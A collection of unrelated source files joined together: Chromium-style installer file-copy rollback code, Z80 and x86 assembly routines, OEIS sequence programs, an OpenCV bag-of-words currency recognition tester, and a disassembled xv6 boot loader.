copied_to_alternate_path_ = true;
LOG(INFO) << "Copied source file " << source_path_
<< " to alternative path " << alternative_path_;
return true;
}
} else if ((dest_exist) &&
(overwrite_option_ == WorkItem::IF_NOT_PRESENT)) {
// handle overwrite_option_ = IF_NOT_PRESENT case.
return true;
}
// In all cases that reach here, move dest to a backup path.
if (dest_exist) {
if (!GetBackupPath())
return false;
if (file_util::Move(dest_path_, backup_path_)) {
moved_to_backup_ = true;
LOG(INFO) << "Moved destination " << dest_path_
<< " to backup path " << backup_path_;
} else {
LOG(ERROR) << "failed moving " << dest_path_ << " to " << backup_path_;
return false;
}
}
// In all cases that reach here, copy source to destination.
if (file_util::CopyDirectory(source_path_, dest_path_, true)) {
copied_to_dest_path_ = true;
LOG(INFO) << "Copied source " << source_path_
<< " to destination " << dest_path_;
} else {
LOG(ERROR) << "failed copy " << source_path_ << " to " << dest_path_;
return false;
}
return true;
}
void CopyTreeWorkItem::Rollback() {
// Normally the delete operations below should not fail unless some
// programs like anti-virus are inpecting the files we just copied.
// If this does happen sometimes, we may consider using Move instead of
// Delete here. For now we just log the error and continue with the
// rest of rollback operation.
if (copied_to_dest_path_ && !file_util::Delete(dest_path_, true)) {
LOG(ERROR) << "Can not delete " << dest_path_;
}
if (moved_to_backup_ && !file_util::Move(backup_path_, dest_path_)) {
LOG(ERROR) << "failed move " << backup_path_ << " to " << dest_path_;
}
if (copied_to_alternate_path_ &&
!file_util::Delete(alternative_path_, true)) {
LOG(ERROR) << "Can not delete " << alternative_path_;
}
}
bool CopyTreeWorkItem::IsFileInUse(const std::wstring& path) {
if (!file_util::PathExists(path))
return false;
HANDLE handle = ::CreateFile(path.c_str(), FILE_ALL_ACCESS,
NULL, NULL, OPEN_EXISTING, NULL, NULL);
if (handle == INVALID_HANDLE_VALUE)
return true;
CloseHandle(handle);
return false;
}
bool CopyTreeWorkItem::GetBackupPath() {
std::wstring file_name = file_util::GetFilenameFromPath(dest_path_);
backup_path_.assign(temp_dir_);
file_util::AppendToPath(&backup_path_, file_name);
if (file_util::PathExists(backup_path_)) {
// Ideally we should not fail immediately. Instead we could try some
// random paths under temp_dir_ until we reach certain limit.
// For now our caller always provides a good temporary directory so
// we don't bother.
LOG(ERROR) << "backup path " << backup_path_ << " already exists";
return false;
}
return true;
}
|
; ----------------------------------------------------------------
; Z88DK INTERFACE LIBRARY FOR NIRVANA+ ENGINE - by Einar Saukas
;
; See "nirvana+.h" for further details
; ----------------------------------------------------------------
; void NIRVANAP_drawW_raw(unsigned char tile, unsigned char lin, unsigned char col)
SECTION code_clib
SECTION code_nirvanap
PUBLIC _NIRVANAP_drawW_raw
EXTERN asm_NIRVANAP_drawW_raw
_NIRVANAP_drawW_raw:
ld hl,2
add hl,sp
ld a,(hl) ; tile
inc hl
ld d,(hl) ; lin
inc hl
ld e,(hl) ; col
jp asm_NIRVANAP_drawW_raw
|
; A107891: a(n) = (n+1)*(n+2)^2*(n+3)^2*(n+4)*(3n^2 + 15n + 20)/2880.
; 1,19,155,805,3136,9996,27468,67320,150645,313027,611611,1134497,2012920,3436720,5673648,9093096,14194881,21643755,32310355,47319349,68105576,96479020,134699500,185562000,252493605,339663051,452103939,595852705,778102480,1007374016,1293704896,1648858288,2086552545,2622712995,3275747307,4066845861,5020308592,6163899820,7529232620,9152184328,11073344821,13338499251,15999146955,19113058305,22744871304,26966729776,31858965040,37510823000,44021238625,51499659835,60066922851,69856181109,81013889880
lpb $0
mov $2,$0
sub $0,1
seq $2,114239 ; a(n) = (n+1)(n+2)^3*(n+3)(n^2 + 4n + 5)/120.
add $1,$2
lpe
add $1,1
mov $0,$1
|
; sp1_RestoreUpdateStruct
; 04.2006 aralbrec, Sprite Pack v3.0
; sinclair spectrum version
XLIB sp1_RestoreUpdateStruct
; FASTCALL
; Restores a character cell previously removed from
; the sprite engine so that it will again be drawn
; by the engine. Restored cell is not invalidated.
;
; enter : hl = & struct sp1_update
; uses : f
.sp1_RestoreUpdateStruct
bit 6,(hl)
ret z ; this cell was never removed so just return
ld (hl),1 ; clear invalidated + removed flags
ret
|
.686
.model flat,stdcall
option casemap:none
include .\bnlib.inc
include .\bignum.inc
.code
bnMovzx proc uses edi bn:DWORD,dwVal:DWORD
mov ecx,BN_ALLOC_BYTES
mov edi,bn
mov edx,dwVal
xor eax,eax
shr ecx,2
rep stosd ;mov [edi].BN.bSigned,FALSE
mov edi,bn
inc eax
mov [edi].BN.dwSize,eax;set size to 1
mov [edi].BN.dwArray[0*4],edx;init it with val
ret
bnMovzx endp
end
|
li a0, 0
jal cell_to_coordinates
mv s1, a1
mv s2, a2
li a0, 4
jal cell_to_coordinates
mv s3, a1
mv s4, a2
li a0, 8
jal cell_to_coordinates
mv s5, a1
mv s6, a2
li a7, 10
ecall
.include "../src/select_field.asm" |
#include <stdio.h>
#include <iostream>
#include <fstream>
#include "../currency_train/global.h"
#include "opencv2/opencv.hpp"
#include "opencv2/xfeatures2d.hpp"
using namespace cv;
using namespace cv::xfeatures2d;
using namespace std;
BOWImgDescriptorExtractor bowDE(extractor,new FlannBasedMatcher());
Mat readVocab(char* vocabularyBinaryFile, const int vocabSize)
{
/**
* Read vocabulary from file and return a Mat of type CV_8UC1.
*
* Parameters: # vocabularyBinaryFile - path to vocabulary file.
* # vocabSize - Size of vocanulary.
**/
unsigned char array[vocabSize][128];
fstream binaryFile(vocabularyBinaryFile,ios::binary|ios::in);
if(!binaryFile.is_open())
{
printf("\nERROR..!! Couldn't open vocabulary file");
return Mat();
}
binaryFile.read((char *)array,sizeof(array)) ;//read binary file
Mat vocabulary = Mat(vocabSize, 128, CV_8UC1, &array );
binaryFile.close();
return vocabulary;
}
void setVocabulary(Mat &vocabulary)
{
vocabulary.convertTo(vocabulary,CV_32F);
bowDE.setVocabulary(vocabulary);
}
void readLabels(char *labelFile, const int numOfTrainImg, int labels[])
{
/**
* Read annotations from annotation file and store it in labels array.
*
* Parameters: # labelFile - path to the annotation file.
* # numOfTrainImg- number of images used for training.
* # labels[] - annotations are stored in this integer array.
**/
FILE *filePointer=fopen(labelFile,"r");
if(filePointer==NULL)
{
printf("\nERROR..!! Couldn't opencv annotations file");
return;
}
for(int i=0; i<numOfTrainImg; i++)
{
fscanf(filePointer,"%d",&labels[i]);
}
fclose(filePointer);
}
void readSize(char *indicesSizeFile,const int vocabSize,int indicesSize[])
{
/**
* Read size of each inverted index from file and store in indicesSize integer array
*
* Parameters: # indicesSizeFile- path to file that contains size of each inverted index.
* # indicesSize[] - Array in which size of inverted index is stored.
**/
FILE *filePointer =fopen(indicesSizeFile, "r");
if(filePointer==NULL)
{
printf("\nERROR..!! Couldn't open indicesSize file");
return;
}
for(int i=0;i<vocabSize;i++)
{
fscanf(filePointer,"%d",&indicesSize[i]);
}
fclose(filePointer);
}
vector<invertedIndex> readInvertedIndex(char *allIndexFile,int indicesSize[], const int vocabSize)
{
/**
* Read inverted index from binary file and return vector of inverted index.
* Each inverted index i contains imageIndex and tf-idf score of images that contain visual word i.
*
* Parameter: # allIndexFile - path to inverted index file.
* # indicesSize[] - Array in which size of each inverted index is stored.
* # vocabSize - size of vocabulary.
**/
vector<invertedIndex> allIndex;
fstream binaryFile(allIndexFile, ios::binary|ios::in);
for(int i=0;i< vocabSize;i++)
{
invertedIndex temp;
for(int j=0;j<indicesSize[i];j++)
{
int imgIndex;
float weightedHistValue;
binaryFile.read((char *)&imgIndex, sizeof(imgIndex)) ;
binaryFile.read((char *)&weightedHistValue, sizeof(weightedHistValue)) ;
temp.imgIndex.push_back(imgIndex);
temp.weightedHistValue.push_back(weightedHistValue);
}
allIndex.push_back(temp);
}
binaryFile.close();
return allIndex;
}
Mat grabcutSegmentation(Mat &input)
{
/**
* implements the grabcut algorithm. It takes BGR image as an argument and it return binary mask.
*
* Parameter: # input- image to be segmented.
**/
Mat img;
resize(input,img,Size(90,input.rows*(90.0/input.cols)));
int count=0;
int thresh=0.9*img.rows*img.cols;
Rect rectangle(5,5,img.cols-10,img.rows-10);
Mat mask;
Mat bgModel,fgModel;
bgModel=Mat(), fgModel=Mat();
grabCut(img,mask,rectangle,bgModel,fgModel,1,GC_INIT_WITH_RECT);
for(int i=0;i<mask.rows;i++)
{
for(int j=0;j<mask.cols;j++)
{
if(mask.at<uchar>(i,j)==0||mask.at<uchar>(i,j)==2)
{
mask.at<uchar>(i,j)=2;
count++;
}
}
}
if(count>0 && count<thresh)
{
grabCut(img, mask,rectangle,bgModel,fgModel,1,GC_INIT_WITH_MASK );
}
else
{
for(int i=0.2*mask.rows;i<0.8*mask.rows;i++)
{
for(int j=0.2*mask.cols;j<0.8*mask.cols;j++)
{
mask.at<uchar>(i,j)=3;
}
}
}
cv::compare(mask,cv::GC_PR_FGD,mask,cv::CMP_EQ);
resize(mask,mask,input.size(),0,0,CV_INTER_LINEAR);
if(DISPLAY)
{
Mat out;
input.copyTo(out, mask);
imshow("img", out) ;
waitKey(1);
}
return mask;
}
vector<KeyPoint> removeKeyPoints(Mat mask,vector<KeyPoint> keyPoints)
{
/**
* remove the keypoints which takes the mask value greater than zero or corresponding foreground pixels.
*
* Parameters: * mask- 8-bit single-channel mask.
* * keyPoints-interesting points on the object can be extracted to provide a "feature description" of the object
**/
vector<KeyPoint> tempKeyPoints;
for(int i=0;i<keyPoints.size();i++)
{
if(mask.at<unsigned char>(keyPoints[i].pt)>0)
tempKeyPoints.push_back(keyPoints[i]);
}
return tempKeyPoints;
}
void getDotProduct(vector<invertedIndex> &allIndex, Mat &imgHistogram, const int numOfTrainImg, float dotProduct[])
{
/**
* performs dot product between histogram of test image and all training images
*
* Parameters: # allIndex- vector of inverted index.
* # numOfTrainImg- Total number of images trained.
* # dotProduct[]- Array in which dotProduct is stored.
**/
for(int i=0;i<numOfTrainImg;i++)
dotProduct[i]=0;
for(int i=0;i<imgHistogram.cols;i++)
{
for (int j=0;j<allIndex[i].imgIndex.size();j++)
{
dotProduct[allIndex[i].imgIndex[j]] += imgHistogram.at<float>(0,i) * allIndex[i].weightedHistValue[j];
}
}
}
int argmax(float array[], const int arraySize)
{
/**
* implement argmax
*
**/
int k = 0;
float max = array[k];
for(int i = 0; i < arraySize; i++)
{
if(array[i] > max)
{
max = array[i];
k = i;
}
}
return k;
}
void retrieveTopKImages(float dotProduct[],const int topKValue,const int numOfTrainImg,int indices[])
{
/**
* retreives top K image indices which corresponds to largest dotProduct value
*
* Parameters: # dotProduct[]- dotProduct value of each train image BOW histogram with that of test image.
* # topKValue- number of images to be retrieved.
* # numOfTrainImg- number of images used for training.
* # indices[]- indices of K training images which corresponds to largest dotProduct value
**/
for(int i=0;i<topKValue;i++)
indices[i]=-1;
for(int i=0;i<topKValue;i++)
{
indices[i] = argmax(dotProduct, numOfTrainImg);
dotProduct[indices[i]]=-1;
}
}
void rerankUsingGeometryVerification(int retrievedImages[],const int topKValue,vector<vector<int> > &pointIdxsOfClusters,vector<KeyPoint> &keypoints,char *keyPointsPath,int geoScore[])
{
/**
* Rerank the retrieved images based on geometric verification. Geometric verification is carried out by fitting fundamental matrix
* using keypoints that have been assigned to same visual word as correspondences.
* The keypoint location of of retrieved images are read from text files.
*
* Parameters: * retrievedImages[]- indices of images corrsponding to highest K dotProduct values.
* * topKValue- number of images retrieve\d for geometric verification.
* * pointIdxsOfClusters- vocabulary assignment details for each keypoints of test images.
* * keypoints- keypoints of test images.
* * keyPointsPath- path to directory that contains keypoint location of training images.
* * geoScore[]- array to which calculated score is stored. This score is number of keypoints in retreived images that are geometrically consistent with test image.
**/
for(int i=0; i<topKValue; i++)
{
geoScore[i]=0;
Mat pointInTestImg, pointInRetreivedImg;
char keyPointsFile[200];
sprintf(keyPointsFile,"%s/%d.txt",keyPointsPath,retrievedImages[i]);
FILE *keyPointsFilePointer = fopen(keyPointsFile,"r");
if(keyPointsFilePointer==NULL)
{
printf("\nFile %s not found", keyPointsFile);
break;
}
int vocabularyId=-1,x=-1,y=-1;
for(int j=0;j<pointIdxsOfClusters.size();j++)
{
for(int k=0;k<pointIdxsOfClusters[j].size();k++)
{
if(feof(keyPointsFilePointer))
{
break;
}
Mat temp=Mat(1,2,CV_32F);
temp.at<float>(0,0)=keypoints[pointIdxsOfClusters[j][k]].pt.x;
temp.at<float>(0,1)=keypoints[pointIdxsOfClusters[j][k]].pt.y;
while(!feof(keyPointsFilePointer))
{
if(vocabularyId==j)
{
Mat temp2=Mat(1,2,CV_32F);
temp2.at<float>(0,0)=x;
temp2.at<float>(0,1)=y;
pointInTestImg.push_back(temp);
pointInRetreivedImg.push_back(temp2);
break;
}
if(vocabularyId>j)
{
break;
}
fscanf(keyPointsFilePointer,"%d%d%d",&vocabularyId,&x,&y);
}
if(vocabularyId>j)
{
break;
}
}
}
fclose(keyPointsFilePointer);
if(pointInTestImg.rows>=8)
{
Mat out;
findFundamentalMat(pointInTestImg,pointInRetreivedImg,FM_RANSAC,3.0,0.99, out );
for(int j=0;j<out.rows;j++)
{
geoScore[i] = geoScore[i] +out.at<uchar>(j,0);
}
}
}
}
void getVote(int geoScore[], int topKValue, int labels[], int retrievedImages[], int vote[])
{
/**
* calculates number of votes for each class using score from geometric verification of each retrieved image
*
* Parameters: # geoScore[]- score from geometric verification of each retrieved image.
* # topKValue- number of images to retrieve for geo-metric verification.
* # labels[]- annotations of training images
* # retrievedImages[]- indices of images corrsponding to highest K dotProduct values.
* # vote- vote for each class.
**/
for(int i=0;i<6;i++)
vote[i]=0;
for(int i=0;i<topKValue;i++)
{
vote[labels[retrievedImages[i]]] = vote[labels[retrievedImages[i]]] + geoScore[i];
}
}
int argmax(int array[])
{
/**
* implement argmax
*
**/
int k = 0;
int max = array[k];
for (int i = 0; i < 6; i++)
{
if (array[i] > max)
{
max = (int)array[i];
k = i;
}
}
return k;
}
int testCurrency(char *pathToTestImg, vector<invertedIndex> &allIndex, int labels[], char *keyPointsPath, const int numOfTrainImg, const int topKValue)
{
/**
* This function detects keypoints, remove irrelevant keypoints, then vocabulary assignment to each keypoint and compute BOW histogram for the image.
* Following that it perform inverted index search and then geometrically verify the top K images.
* Finally, voting is done and predicted label is returned.
*
* Parameter: # pathToTestImg - path to the image.
* # allIndex- vecotr of inverted index.
* # labels[]- annotations of training images
* # keyPointsPath- path to directory containing the keypoints location of each image.
* # numOfTrainImg- number of images used for training.
* # topKValue- number of images to retrieve for geo-metric verification.
**/
Mat img = imread(pathToTestImg,1);
if(!img.data)
{
printf("\tCould not find %s",pathToTestImg);
return -3;
}
if(img.cols>TEST_WIDTH)
{
resize(img,img,Size((int)TEST_WIDTH,(int)(img.rows*TEST_WIDTH/img.cols)));
}
if(DISPLAY)
{
imshow("img", img);
waitKey(1);
}
/******************** grabcut segmentation ********************/
Mat mask= grabcutSegmentation(img);
/******************** detect keypoints ********************/
cvtColor(img, img, CV_BGR2GRAY);
int clo = clock();
vector<KeyPoint> keypoints;
Mat imgHistogram;
detector->detect(img, keypoints);
//detector->detectAndCompute(img, cv::noArray(),keypoints,imgHistogram);
if(keypoints.size() < 100)
{
return -2; //reject this image
}
printf("\t%f", (float)(clock()-clo)/CLOCKS_PER_SEC);
vector<KeyPoint> keypoints_removed = removeKeyPoints(mask, keypoints);
if(keypoints_removed.size() < 100)
{
swap(keypoints_removed, keypoints);
}
vector<vector<int> > pointIdxsOfClusters;
clo = clock();
//detector->compute(img, keypoints_removed, imgHistogram);
//bowDE.compute(img, keypoints_removed, imgHistogram); //Computes an image BOW histogram.
bowDE.compute(img, keypoints_removed, imgHistogram, &pointIdxsOfClusters); //Computes an image BOW histogram.
printf("\t%f", (float)(clock()-clo)/CLOCKS_PER_SEC);
/******************** calculate dot product *********************/
clo = clock();
float *dotProduct = new float[numOfTrainImg];
getDotProduct(allIndex, imgHistogram, numOfTrainImg, dotProduct);
printf("\t%f", (float)(clock()-clo)/CLOCKS_PER_SEC);
/******************** retrieve top K images *********************/
int *retrievedImages = new int[topKValue];
retrieveTopKImages(dotProduct, topKValue, numOfTrainImg, retrievedImages);
/******************* Rerank using geometric verification **********************/
clo = clock();
int *geoScore = new int[topKValue];
rerankUsingGeometryVerification(retrievedImages,topKValue, pointIdxsOfClusters, keypoints_removed, keyPointsPath, geoScore);
printf("\t%f", (float)(clock()-clo)/CLOCKS_PER_SEC);
/******************** vote *********************/
int vote[6]={0};
getVote(geoScore, topKValue, labels, retrievedImages, vote);
/******************** label *********************/
int label= argmax(vote);
if(vote[label] < 50)
{
return -1; //doubtful case
}
delete[] dotProduct;
delete[] retrievedImages;
delete[] geoScore;
return label;
}
void readFiles(char *pathToTxtFile, vector<invertedIndex> &allIndex, int labels[], char *keyPointsPath, const int numOfTrainImg, const int topKValue)
{
/**
* read image and call testCurrency function to identify the denomination of thr bill in the image.
* Also calculate accuracy and other statistics.
*
* Parameter: # pathToTxtFile- path to directory containing the text files
* # allIndex- vecotr of inverted index.
* # labels[]- annotations of training images
* # keyPointsPath- path to directory containing the keypoints location of each image.
* # numOfTrainImg- number of images used for training.
* # topKValue- number of images to retrieve for geo-metric verification.
**/
if(DISPLAY)
{
namedWindow("img", WINDOW_NORMAL );
}
int imgCounter=0;
int numCorrect=0;
printf("\nPath\tdetect_keypoints\tassign_vocab\tinv_index_search\trerank_geo\ttrue_label\tpredicted_label\ttotal_time");
for(int i=0;i<6;i++)
{
char txtFileName[200];
sprintf(txtFileName,"%s/%s.txt", pathToTxtFile, txtFiles[i]);
FILE *filePointer = fopen(txtFileName,"r");
if(filePointer==NULL)
{
printf("\nERROR..!! File '%s' not found", txtFileName);
break;
}
while(!feof(filePointer))
{
char pathToImage[500];
fscanf(filePointer,"%s", pathToImage);
printf("\n%s", pathToImage);
int clo = clock();
int label = testCurrency(pathToImage, allIndex, labels, keyPointsPath, numOfTrainImg, topKValue);
printf("\t%d\t%d",i, label);
printf("\t%f", (float)(clock()-clo)/CLOCKS_PER_SEC);
if(label==i)
numCorrect++;
imgCounter++;
}
}
printf("\nTotal images read : %d", imgCounter);
printf("\nTotal correct predicted : %d", numCorrect);
printf("\nAccuracy = %f", (float)numCorrect/imgCounter);
}
|
; A215459: Arises in quick gossiping without duplicate transmission.
; 1,2,4,8,12,16,20,22,24,26,28,30,32,34,36,38,40,42,44,46,48,50,52,54,56,58,60,62,64,66,68,70,72,74,76,78,80,82,84,86,88,90,92,94,96,98,100,102,104,106,108,110
mov $1,$0
lpb $1,1
mov $1,6
lpe
add $0,1
mul $1,2
add $1,$0
trn $1,6
add $1,$0
|
; A079590: C(6n+1,n).
; 1,7,78,969,12650,169911,2324784,32224114,450978066,6358402050,90177170226,1285063345176,18385569737808,263926640438545,3799541229226200,54834293825867556,793067310934426018,11491919116804935270,166804113767101919220,2424792109500392414475,35296331705271019028646,514416966062717363117175,7505554932836171909297600,109619988920152524309553200,1602503880445016501255082000,23446513729288354622217592656,343319576508435551624179558902,5030769803843371458015764931228,73767174631011722970933562722984,1082341469778826029912856234750050,15889841549193655215636392268177552,233406215240574939416780067638190408
mov $1,6
mul $1,$0
add $1,1
bin $1,$0
mov $0,$1
|
; A230865: a(n) = n + (sum of digits in base-5 representation of n).
; 0,2,4,6,8,6,8,10,12,14,12,14,16,18,20,18,20,22,24,26,24,26,28,30,32,26,28,30,32,34,32,34,36,38,40,38,40,42,44,46,44,46,48,50,52,50,52,54,56,58,52,54,56,58,60,58,60,62,64,66,64,66,68,70,72,70,72,74,76,78,76,78,80,82,84,78,80,82,84,86,84,86,88,90,92,90,92,94,96,98,96,98,100,102,104,102,104,106,108,110,104,106,108,110,112,110,112,114,116,118,116,118,120,122,124,122,124,126,128,130,128,130,132,134,136,126,128,130,132,134,132,134,136,138,140,138,140,142,144,146,144,146,148,150,152,150,152,154,156,158,152,154,156,158,160,158,160,162,164,166,164,166,168,170,172,170,172,174,176,178,176,178,180,182,184,178,180,182,184,186,184,186,188,190,192,190,192,194,196,198,196,198,200,202,204,202,204,206,208,210,204,206,208,210,212,210,212,214,216,218,216,218,220,222,224,222,224,226,228,230,228,230,232,234,236,230,232,234,236,238,236,238,240,242,244,242,244,246,248,250,248,250,252,254,256,254,256,258,260,262
mov $1,$0
mov $2,$0
mov $4,$0
lpb $2
lpb $4
mov $3,$1
add $1,$0
sub $4,$4
lpe
sub $1,$3
div $3,5
sub $1,$3
mov $2,4
sub $2,$1
sub $2,1
lpe
mul $1,2
|
; A211253: Number of (n+1) X (n+1) -6..6 symmetric matrices with every 2 X 2 subblock having sum zero and one or two distinct values.
; Submitted by Jamie Morken(s1)
; 21,29,41,61,93,145,229,365,585,941,1517,2449,3957,6397,10345,16733,27069,43793,70853,114637,185481,300109,485581,785681,1271253,2056925,3328169,5385085,8713245,14098321,22811557,36909869,59721417,96631277,156352685,252983953,409336629,662320573,1071657193,1733977757,2805634941,4539612689,7345247621,11884860301,19230107913,31114968205,50345076109,81460044305,131805120405,213265164701,345070285097,558335449789,903405734877,1461741184657,2365146919525,3826888104173,6192035023689,10018923127853
seq $0,204644 ; Number of (n+1) X 2 0..1 arrays with column and row pair sums b(i,j)=a(i,j)+a(i,j-1) and c(i,j)=a(i,j)+a(i-1,j) nondecreasing in column and row directions, respectively.
add $0,13
|
bootblock.o: file format elf32-i386
Disassembly of section .text:
00007c00 <start>:
# with %cs=0 %ip=7c00.
.code16 # Assemble for 16-bit mode
.globl start
start:
cli # BIOS enabled interrupts; disable
7c00: fa cli
# Zero data segment registers DS, ES, and SS.
xorw %ax,%ax # Set %ax to zero
7c01: 31 c0 xor %eax,%eax
movw %ax,%ds # -> Data Segment
7c03: 8e d8 mov %eax,%ds
movw %ax,%es # -> Extra Segment
7c05: 8e c0 mov %eax,%es
movw %ax,%ss # -> Stack Segment
7c07: 8e d0 mov %eax,%ss
00007c09 <seta20.1>:
# Physical address line A20 is tied to zero so that the first PCs
# with 2 MB would run software that assumed 1 MB. Undo that.
seta20.1:
inb $0x64,%al # Wait for not busy
7c09: e4 64 in $0x64,%al
testb $0x2,%al
7c0b: a8 02 test $0x2,%al
jnz seta20.1
7c0d: 75 fa jne 7c09 <seta20.1>
movb $0xd1,%al # 0xd1 -> port 0x64
7c0f: b0 d1 mov $0xd1,%al
outb %al,$0x64
7c11: e6 64 out %al,$0x64
00007c13 <seta20.2>:
seta20.2:
inb $0x64,%al # Wait for not busy
7c13: e4 64 in $0x64,%al
testb $0x2,%al
7c15: a8 02 test $0x2,%al
jnz seta20.2
7c17: 75 fa jne 7c13 <seta20.2>
movb $0xdf,%al # 0xdf -> port 0x60
7c19: b0 df mov $0xdf,%al
outb %al,$0x60
7c1b: e6 60 out %al,$0x60
# Switch from real to protected mode. Use a bootstrap GDT that makes
# virtual addresses map directly to physical addresses so that the
# effective memory map doesn't change during the transition.
lgdt gdtdesc
7c1d: 0f 01 16 lgdtl (%esi)
7c20: 78 7c js 7c9e <readsect+0xe>
movl %cr0, %eax
7c22: 0f 20 c0 mov %cr0,%eax
orl $CR0_PE, %eax
7c25: 66 83 c8 01 or $0x1,%ax
movl %eax, %cr0
7c29: 0f 22 c0 mov %eax,%cr0
# Complete the transition to 32-bit protected mode by using a long jmp
# to reload %cs and %eip. The segment descriptors are set up with no
# translation, so that the mapping is still the identity mapping.
ljmp $(SEG_KCODE<<3), $start32
7c2c: ea .byte 0xea
7c2d: 31 7c 08 00 xor %edi,0x0(%eax,%ecx,1)
00007c31 <start32>:
.code32 # Tell assembler to generate 32-bit code now.
start32:
# Set up the protected-mode data segment registers
movw $(SEG_KDATA<<3), %ax # Our data segment selector
7c31: 66 b8 10 00 mov $0x10,%ax
movw %ax, %ds # -> DS: Data Segment
7c35: 8e d8 mov %eax,%ds
movw %ax, %es # -> ES: Extra Segment
7c37: 8e c0 mov %eax,%es
movw %ax, %ss # -> SS: Stack Segment
7c39: 8e d0 mov %eax,%ss
movw $0, %ax # Zero segments not ready for use
7c3b: 66 b8 00 00 mov $0x0,%ax
movw %ax, %fs # -> FS
7c3f: 8e e0 mov %eax,%fs
movw %ax, %gs # -> GS
7c41: 8e e8 mov %eax,%gs
# Set up the stack pointer and call into C.
movl $start, %esp
7c43: bc 00 7c 00 00 mov $0x7c00,%esp
call bootmain
7c48: e8 ee 00 00 00 call 7d3b <bootmain>
# If bootmain returns (it shouldn't), trigger a Bochs
# breakpoint if running under Bochs, then loop.
movw $0x8a00, %ax # 0x8a00 -> port 0x8a00
7c4d: 66 b8 00 8a mov $0x8a00,%ax
movw %ax, %dx
7c51: 66 89 c2 mov %ax,%dx
outw %ax, %dx
7c54: 66 ef out %ax,(%dx)
movw $0x8ae0, %ax # 0x8ae0 -> port 0x8a00
7c56: 66 b8 e0 8a mov $0x8ae0,%ax
outw %ax, %dx
7c5a: 66 ef out %ax,(%dx)
00007c5c <spin>:
spin:
jmp spin
7c5c: eb fe jmp 7c5c <spin>
7c5e: 66 90 xchg %ax,%ax
00007c60 <gdt>:
...
7c68: ff (bad)
7c69: ff 00 incl (%eax)
7c6b: 00 00 add %al,(%eax)
7c6d: 9a cf 00 ff ff 00 00 lcall $0x0,$0xffff00cf
7c74: 00 .byte 0x0
7c75: 92 xchg %eax,%edx
7c76: cf iret
...
00007c78 <gdtdesc>:
7c78: 17 pop %ss
7c79: 00 60 7c add %ah,0x7c(%eax)
...
00007c7e <waitdisk>:
entry();
}
void
waitdisk(void)
{
7c7e: 55 push %ebp
7c7f: 89 e5 mov %esp,%ebp
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
7c81: ba f7 01 00 00 mov $0x1f7,%edx
7c86: ec in (%dx),%al
// Wait for disk ready.
while((inb(0x1F7) & 0xC0) != 0x40)
7c87: 83 e0 c0 and $0xffffffc0,%eax
7c8a: 3c 40 cmp $0x40,%al
7c8c: 75 f8 jne 7c86 <waitdisk+0x8>
;
}
7c8e: 5d pop %ebp
7c8f: c3 ret
00007c90 <readsect>:
// Read a single sector at offset into dst.
void
readsect(void *dst, uint offset)
{
7c90: 55 push %ebp
7c91: 89 e5 mov %esp,%ebp
7c93: 57 push %edi
7c94: 53 push %ebx
7c95: 8b 5d 0c mov 0xc(%ebp),%ebx
// Issue command.
waitdisk();
7c98: e8 e1 ff ff ff call 7c7e <waitdisk>
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
7c9d: b8 01 00 00 00 mov $0x1,%eax
7ca2: ba f2 01 00 00 mov $0x1f2,%edx
7ca7: ee out %al,(%dx)
7ca8: ba f3 01 00 00 mov $0x1f3,%edx
7cad: 89 d8 mov %ebx,%eax
7caf: ee out %al,(%dx)
outb(0x1F2, 1); // count = 1
outb(0x1F3, offset);
outb(0x1F4, offset >> 8);
7cb0: 89 d8 mov %ebx,%eax
7cb2: c1 e8 08 shr $0x8,%eax
7cb5: ba f4 01 00 00 mov $0x1f4,%edx
7cba: ee out %al,(%dx)
outb(0x1F5, offset >> 16);
7cbb: 89 d8 mov %ebx,%eax
7cbd: c1 e8 10 shr $0x10,%eax
7cc0: ba f5 01 00 00 mov $0x1f5,%edx
7cc5: ee out %al,(%dx)
outb(0x1F6, (offset >> 24) | 0xE0);
7cc6: 89 d8 mov %ebx,%eax
7cc8: c1 e8 18 shr $0x18,%eax
7ccb: 83 c8 e0 or $0xffffffe0,%eax
7cce: ba f6 01 00 00 mov $0x1f6,%edx
7cd3: ee out %al,(%dx)
7cd4: b8 20 00 00 00 mov $0x20,%eax
7cd9: ba f7 01 00 00 mov $0x1f7,%edx
7cde: ee out %al,(%dx)
outb(0x1F7, 0x20); // cmd 0x20 - read sectors
// Read data.
waitdisk();
7cdf: e8 9a ff ff ff call 7c7e <waitdisk>
asm volatile("cld; rep insl" :
7ce4: 8b 7d 08 mov 0x8(%ebp),%edi
7ce7: b9 80 00 00 00 mov $0x80,%ecx
7cec: ba f0 01 00 00 mov $0x1f0,%edx
7cf1: fc cld
7cf2: f3 6d rep insl (%dx),%es:(%edi)
insl(0x1F0, dst, SECTSIZE/4);
}
7cf4: 5b pop %ebx
7cf5: 5f pop %edi
7cf6: 5d pop %ebp
7cf7: c3 ret
00007cf8 <readseg>:
// Read 'count' bytes at 'offset' from kernel into physical address 'pa'.
// Might copy more than asked.
void
readseg(uchar* pa, uint count, uint offset)
{
7cf8: 55 push %ebp
7cf9: 89 e5 mov %esp,%ebp
7cfb: 57 push %edi
7cfc: 56 push %esi
7cfd: 53 push %ebx
7cfe: 8b 5d 08 mov 0x8(%ebp),%ebx
7d01: 8b 75 10 mov 0x10(%ebp),%esi
uchar* epa;
epa = pa + count;
7d04: 89 df mov %ebx,%edi
7d06: 03 7d 0c add 0xc(%ebp),%edi
// Round down to sector boundary.
pa -= offset % SECTSIZE;
7d09: 89 f0 mov %esi,%eax
7d0b: 25 ff 01 00 00 and $0x1ff,%eax
7d10: 29 c3 sub %eax,%ebx
// Translate from bytes to sectors; kernel starts at sector 1.
offset = (offset / SECTSIZE) + 1;
7d12: c1 ee 09 shr $0x9,%esi
7d15: 83 c6 01 add $0x1,%esi
// If this is too slow, we could read lots of sectors at a time.
// We'd write more to memory than asked, but it doesn't matter --
// we load in increasing order.
for(; pa < epa; pa += SECTSIZE, offset++)
7d18: 39 df cmp %ebx,%edi
7d1a: 76 17 jbe 7d33 <readseg+0x3b>
readsect(pa, offset);
7d1c: 56 push %esi
7d1d: 53 push %ebx
7d1e: e8 6d ff ff ff call 7c90 <readsect>
for(; pa < epa; pa += SECTSIZE, offset++)
7d23: 81 c3 00 02 00 00 add $0x200,%ebx
7d29: 83 c6 01 add $0x1,%esi
7d2c: 83 c4 08 add $0x8,%esp
7d2f: 39 df cmp %ebx,%edi
7d31: 77 e9 ja 7d1c <readseg+0x24>
}
7d33: 8d 65 f4 lea -0xc(%ebp),%esp
7d36: 5b pop %ebx
